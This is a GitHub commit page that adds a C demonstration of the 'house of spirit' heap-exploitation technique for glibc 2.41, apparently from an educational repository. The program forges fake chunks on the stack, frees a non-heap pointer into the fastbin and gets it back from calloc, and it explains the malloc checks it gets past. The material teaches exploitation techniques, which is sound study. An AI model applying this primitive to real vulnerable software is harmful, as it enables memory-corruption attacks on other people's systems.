Skip to content

Commit 8a9cb57

Browse files
committed
add a version of house_of_spirit.c that works with glibc_2.41
1 parent d9c79f5 commit 8a9cb57

File tree

1 file changed

+52
-0
lines changed

1 file changed

+52
-0
lines changed

glibc_2.41/house_of_spirit.c

+52
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
#include <stdio.h>
2+
#include <stdlib.h>
3+
#include <assert.h>
4+
5+
int main()
6+
{
7+
setbuf(stdout, NULL);
8+
9+
puts("This file demonstrates the house of spirit attack.");
10+
puts("This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write.");
11+
puts("Required primitives: known target address, ability to set up the start/end of the target memory");
12+
13+
puts("\nStep 1: Allocate 7 chunks and free them to fill up tcache");
14+
void *chunks[7];
15+
for(int i=0; i<7; i++) {
16+
chunks[i] = malloc(0x30);
17+
}
18+
for(int i=0; i<7; i++) {
19+
free(chunks[i]);
20+
}
21+
22+
puts("\nStep 2: Prepare the fake chunk");
23+
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
24+
long fake_chunks[10] __attribute__ ((aligned (0x10)));
25+
printf("The target fake chunk is at %p\n", fake_chunks);
26+
printf("It contains two chunks. The first starts at %p and the second at %p.\n", &fake_chunks[1], &fake_chunks[9]);
27+
printf("This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
28+
puts("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end.");
29+
printf("Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\n", &fake_chunks[1]);
30+
fake_chunks[1] = 0x40; // this is the size
31+
32+
printf("The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
33+
printf("Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\n", &fake_chunks[9]);
34+
fake_chunks[9] = 0x1234; // nextsize
35+
36+
puts("\nStep 3: Free the first fake chunk");
37+
puts("Note that the address of the fake chunk must be 16-byte aligned.\n");
38+
void *victim = &fake_chunks[2];
39+
free(victim);
40+
41+
puts("\nStep 4: Take out the fake chunk");
42+
puts("First we have to empty the tcache.");
43+
for(int i=0; i<7; i++) {
44+
malloc(0x30);
45+
}
46+
47+
printf("Now the next calloc (or malloc) will return our fake chunk at %p!\n", &fake_chunks[2]);
48+
void *allocated = calloc(1, 0x30);
49+
printf("malloc(0x30): %p, fake chunk: %p\n", allocated, victim);
50+
51+
assert(allocated == victim);
52+
}

0 commit comments

Comments
 (0)